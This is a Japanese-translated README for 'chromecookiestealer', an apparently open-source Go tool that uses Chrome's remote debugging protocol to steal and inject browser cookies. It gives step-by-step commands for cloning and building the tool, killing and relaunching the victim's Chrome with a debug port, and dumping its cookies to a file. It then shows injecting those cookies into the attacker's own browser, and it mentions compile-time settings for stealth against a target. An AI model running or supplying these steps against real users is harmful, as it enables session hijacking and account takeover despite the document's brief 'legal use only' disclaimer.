
DevTools(--remote-debugging-port)プロトコルを介してChromeのクッキーを盗む/注入する。
==================================== ChromeのRemote DevToolsプロトコルを使用して接続し、クッキーを窃取/注入/クリア/削除します。
WhiteChocolateMacademiaNutに強く触発されました。
クッキーはChrome独自のフォーマットを使用してJSONオブジェクトとしてダンプされます。 読み込むクッキーにも同じフォーマットが使用されます。
法的な使用のみを目的としています。
被害者のクッキーを窃取:
git clone https://github.com/magisterquis/chromecookiestealer.git
cd chromecookiestealer
go build
pkill Chrome
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # Varies by target
./chromecookiestealer -dump ./cookies.json
攻撃者のローカルブラウザに注入:
# Start Chrome with a debug port, as above.
./chromecookiestealer -clear -inject ./cookies.json
Usage: chromecookiestealer [options]
Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
and, in order and as requested:
- Dumps cookies
- Clears cookies
- Injects cookies
- Deletes selected cookies
Parameters for cookies to be deleted should be represented as an array of JSON
objects with the following string fields:
name - Name of the cookies to remove.
url - If specified, deletes all the cookies with the given name where domain
and path match provided URL.
domain - If specified, deletes only cookies with the exact domain.
path - If specified, deletes only cookies with the exact path.
Filenames may also be "-" for stdin/stdout.
Options:
-chrome URL
Chrome remote debugging URL (default "ws://127.0.0.1:9222")
-clear
Clear browser cookies
-delete file
Name of file containing parameters for cookies to delete
-dump file
Name of file to which to dump stolen cookies
-inject file
Name of file containing cookies to inject
-no-summary
Don't print a summary on exit
-verbose
Enable verbose logging
go buildだけで十分です。以下の設定は、コンパイル時に-ldflags '-X main.Foo=bar'を使用して設定でき、標的へのステルス性を高めることができます。
上記はデフォルトでは設定されていません。
Chrome DevToolsプロトコルはやや変動しやすいターゲットです。このプログラムが動作しなくなった場合、chromedpおよびcdprotoライブラリの新しいバージョンを使用する必要があるかもしれません。これは以下のコマンドで行えます。
go get -u -v all
go mod tidy
go build
これにより、他のすべてが壊れてしまう副作用が生じる可能性があります。
¯\_(ツ)_/¯
| 変数 | 説明 |
|---|
| DumpFile | クッキーをダンプするファイルの名前。-dumpを暗黙的に指定 |
| InjectFile | クッキーを注入する元のファイルの名前。-injectを暗黙的に指定 |
| DeleteFile | 削除するクッキーを記述したパラメータを持つファイルの名前。-deleteを暗黙的に指定 |
| DoClear | 任意の値に設定すると、-clearを暗黙的に指定 |